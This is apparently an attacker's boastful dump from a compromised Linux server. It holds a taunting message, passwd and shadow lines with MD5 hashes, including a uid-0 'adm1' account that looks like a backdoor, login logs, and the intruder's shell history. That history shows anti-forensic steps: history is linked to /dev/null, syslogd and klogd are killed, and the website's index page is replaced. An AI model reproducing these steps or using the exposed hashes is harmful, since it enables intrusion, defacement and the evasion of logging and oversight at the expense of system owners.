YOU DIDIN'T PATCH SHIT, BITCHES. ;)


mmm. Journit.
lpd:x:500:500:lpd:/tmp:/bin/bash
lpd:$1$pit9Yc/I$EFVsav7iNfmOeDbEzHHKt1:11324:0:99999:7:::
adm1:x:0:0:adm:/usr:/bin/bash
adm1:$1$.eiZ/ij3$pONljGRjOm0jHSg0SSzRN1:11324:0:99999:7:::

adm1 pts/0 63.147.83.60 Tue Jan 2 08:50 - 09:13
Jan 2 08:50:28 kroberts PAM_unix[18646]: (system-auth) session opened for user adm1 by lpd(uid=500)

Jan 2 08:50:20 kroberts -- lpd[18620]: LOGIN ON pts/0 BY lpd FROM 63.147.83.60
Jan 2 06:37:00 kroberts xinetd[543]: START: ftp pid=17591 from=63.147.83.60
Jan 2 06:38:21 kroberts xinetd[543]: START: telnet pid=17592 from=63.147.83.60
Jan 2 08:50:15 kroberts xinetd[543]: START: telnet pid=18619 from=63.147.83.60

cat .bash_history
who
id
ls
cd ..
ls
cd tmp
mkdir ...
cd ...
pico 1
ln -s /dev/null .bash_history
echo ".........uuuh..*ouch*...poor bash................... "
echo "Now kill logging .........................................."
killall -9 syslogd && killall -9 klogd
ls
cd /
ls
cd home
ls
cd ..
cd var
cd www
ls
cd html
ls
pico index.html
cd ..
cd ..
cd home
ls
cd ..
cd home
cd http
cd httpd
ls
cd ..
cd var
cd www
ls
mv index.html index.old
cd html
mv index.html index.old
ls
pico index.html
ls
cd ..
ls
cd ..
cat etc/passwd
cd ..
cat etc/passwd
ls
cd misc
ls
cd ..
cd home
ls
cd datacomm
ls
cd ..
cd chadm
ls
cd ..
exit